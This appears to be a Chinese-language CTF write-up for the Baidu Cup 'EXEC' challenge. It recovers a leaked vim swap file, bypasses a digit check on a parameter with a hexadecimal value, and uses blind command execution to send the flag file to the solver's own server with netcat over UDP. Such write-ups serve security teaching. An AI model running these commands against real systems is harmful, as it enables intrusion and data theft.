"百度杯"CTF比賽 十月場——EXEC

oldliutou發表於2021-08-14

"百度杯"CTF比賽 十月場——EXEC

進入網站頁面

image

檢視原始碼

發現了vim,可能是vim洩露,於是在url地址輸入了http://21b854b211034489a4ee1cb0d37b0212560fbf24f2e6468d.changame.ichunqiu.com/.index.php.swp

image

或者通過dirsearch工具掃描網站目錄也可以發現 /.index.php.swp,也可以想到vim洩露

image

下載檔案
image

下一步就是通過 vim -r index.php.swp恢復index.php,然後開啟

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
	setcookie('auth','tcp tunnel is forbidden!');
	if(isset($_POST['cmd'])){
		$command=$_POST[cmd];
		$result=exec($command);
		//echo $result;
	}
}else{
	die('no sign');
}
?>
</body>
</html>

這裡有一個check函式需要繞過,很明顯check函式就是把選手輸入的數字一個一個的判斷,檢視這些數字的ASCII碼是否在1-9的ASCII碼之間,如果符合則驗證失敗。如果check函式想最後返回返回true,則$number需要等於'11259375',這裡可以使用十六進位制來繞過即可。

程式碼裡面的 setcookie('auth','tcp tunnel is forbidden!');告訴我們TCP被禁止不能用curl,而且cmd命令執行之後也沒有回顯,但是前面的註釋告訴了我們flag檔案,我們可以直接用nc命令把flag檔案下過來,我們需要一臺有公網ip的伺服器。

在伺服器上執行

nc -lup 39999

然後再題目那裡用post方法 cmd=nc -u 你的ip地址 39999 < flag233.php

注:這裡我踩了個小坑,cmd=nc我輸入成了 cmd = nc,等於號兩邊不能有空格。

image

flag便傳到了伺服器上

image

相關文章